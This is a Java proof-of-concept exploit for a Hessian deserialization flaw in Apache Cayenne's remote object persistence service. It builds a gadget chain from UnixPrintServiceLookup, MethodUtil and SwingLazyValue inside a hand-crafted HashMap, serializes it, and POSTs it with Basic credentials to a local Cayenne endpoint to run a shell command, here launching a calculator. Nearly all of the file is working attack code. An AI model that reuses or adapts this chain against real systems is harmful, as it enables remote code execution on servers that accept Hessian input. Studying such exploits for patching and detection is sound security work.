1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121
| package org.apache.cayenne.tutorial.persistent;
import com.caucho.hessian.io.*; import com.sun.org.apache.xml.internal.utils.FastStringBuffer; import org.apache.cayenne.remote.ClientMessage; import org.apache.cayenne.rop.HessianROPSerializationService; import sun.misc.Unsafe; import sun.print.UnixPrintServiceLookup; import sun.reflect.ReflectionFactory; import sun.reflect.misc.MethodUtil; import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList; import javax.swing.*; import java.io.*; import java.lang.reflect.*; import java.net.HttpURLConnection; import java.net.URL; import java.util.HashMap; import java.util.TreeMap; import java.util.TreeSet;
public class exp { static SerializerFactory serializerFactory = new SerializerFactory(); public static void main(String[] args) throws Exception{ serializerFactory.setAllowNonSerializable(true); UnixPrintServiceLookup lookup = new UnixPrintServiceLookup(); String cmd = "open -a calculator"; setFieldValue(lookup, "osname", "xx"); setFieldValue(lookup,"lpcFirstCom",new String[]{cmd,cmd,cmd}); setFieldValue(lookup, "cmdIndex", 0); Method getPrintServices = lookup.getClass().getMethod("getDefaultPrintService"); Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class); Object[] ags = new Object[]{invoke, new Object(), new Object[]{ getPrintServices,lookup,null}}; SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",ags);
UIDefaults u1 = new UIDefaults(); UIDefaults u2 = new UIDefaults();
u2.put("2",swingLazyValue); u1.put("2",swingLazyValue); HashMap hashMap = maskmap(u1, u2);
HessianROPSerializationService serializationService = new HessianROPSerializationService(serializerFactory); byte[] serialize = serializationService.serialize(hashMap); post(serialize);
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); }
public static Field getField(final Class<?> clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; }
public static HashMap maskmap(Object u1,Object u2) throws Exception{ HashMap hashMap = new HashMap(); Class node = Class.forName("java.util.HashMap$Node"); Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node); constructor.setAccessible(true); Object node1 = constructor.newInstance(0, u1, null, null); Object node2 = constructor.newInstance(0, u2, null, null); Field key = node.getDeclaredField("key"); key.setAccessible(true); key.set(node1, u1); key.set(node2, u2); Field size = HashMap.class.getDeclaredField("size"); size.setAccessible(true); size.set(hashMap, 2); Field table = HashMap.class.getDeclaredField("table"); table.setAccessible(true); Object arr = Array.newInstance(node, 2); Array.set(arr, 0, node1); Array.set(arr, 1, node2); table.set(hashMap, arr);
return hashMap; } public static void post(byte[] b) throws Exception{
URL url=new URL("http://127.0.0.1:8080/cayenne-service"); HttpURLConnection con = (HttpURLConnection) url.openConnection(); con.setRequestProperty("Content-Type", "application/hessian"); con.setRequestProperty("Authorization", "Basic Y2F5ZW5uZS11c2VyOnNlY3JldA=="); con.setRequestMethod("POST"); con.setDoOutput(true); con.setDoInput(true); try(OutputStream os = con.getOutputStream()) { os.write(b); } BufferedReader reader = new BufferedReader(new InputStreamReader(con.getInputStream())); String line; StringBuilder response = new StringBuilder(); while ((line = reader.readLine()) != null) { response.append(line); } reader.close();
System.out.println("Response Body: " + response.toString());
} }
|